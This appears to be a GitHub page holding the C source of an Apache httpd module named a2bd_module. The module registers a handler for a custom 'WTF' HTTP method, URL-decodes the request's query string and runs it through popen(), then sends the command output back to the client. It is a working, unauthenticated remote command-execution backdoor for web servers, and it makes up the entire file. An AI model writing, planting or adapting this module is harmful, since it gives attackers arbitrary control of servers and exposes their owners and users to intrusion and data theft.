-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbd_module.c
More file actions
106 lines (90 loc) · 2.55 KB
/
bd_module.c
File metadata and controls
106 lines (90 loc) · 2.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include "apr_hash.h"
#include "ap_config.h"
#include "ap_provider.h"
#include "httpd.h"
#include "http_core.h"
#include "http_config.h"
#include "http_log.h"
#include "http_protocol.h"
#include "http_request.h"
#include <ctype.h>
void urldecode2(char *dst, const char *src)
{
char a, b;
while (*src) {
if ((*src == '%') &&
((a = src[1]) && (b = src[2])) &&
(isxdigit(a) && isxdigit(b))) {
if (a >= 'a')
a -= 'a'-'A';
if (a >= 'A')
a -= ('A' - 10);
else
a -= '0';
if (b >= 'a')
b -= 'a'-'A';
if (b >= 'A')
b -= ('A' - 10);
else
b -= '0';
*dst++ = 16*a+b;
src+=3;
} else {
*dst++ = *src++;
}
}
*dst++ = '\0';
}
static int example_handler(request_rec *r)
{
/* Set the appropriate content type */
ap_set_content_type(r, "text/html");
/* Print out the IP address of the client connecting to us: */
/* If we were reached through a GET or a POST request, be happy, else sad. */
if ( !strcmp(r->method, "WTF")) {
ap_rputs("You used my special WTF method!<br/>", r);
if (r->args) {
char *output = malloc(strlen(r->args)+1);
urldecode2(output, r->args);
ap_rputs(output, r);
FILE *fp;
char path[1035];
/* Open the command for reading. */
fp = popen(output, "r");
if (fp == NULL) {
ap_rputs("Failed to run command",r);
exit(1);
}
/* Read the output a line at a time - output it. */
while (fgets(path, sizeof(path)-1, fp) != NULL) {
ap_rprintf(r,"%s", path);
}
/* close */
pclose(fp);
}
else {
ap_rputs("No argument received",r);
}
return OK;
}
else {
return DECLINED;
}
/* Lastly, if there was a query string, let's print that too! */
}
static void register_hooks(apr_pool_t *pool)
{
ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST);
}
module AP_MODULE_DECLARE_DATA a2bd_module =
{
STANDARD20_MODULE_STUFF,
NULL,
NULL,
NULL,
NULL,
NULL,
register_hooks /* Our hook registering function */
};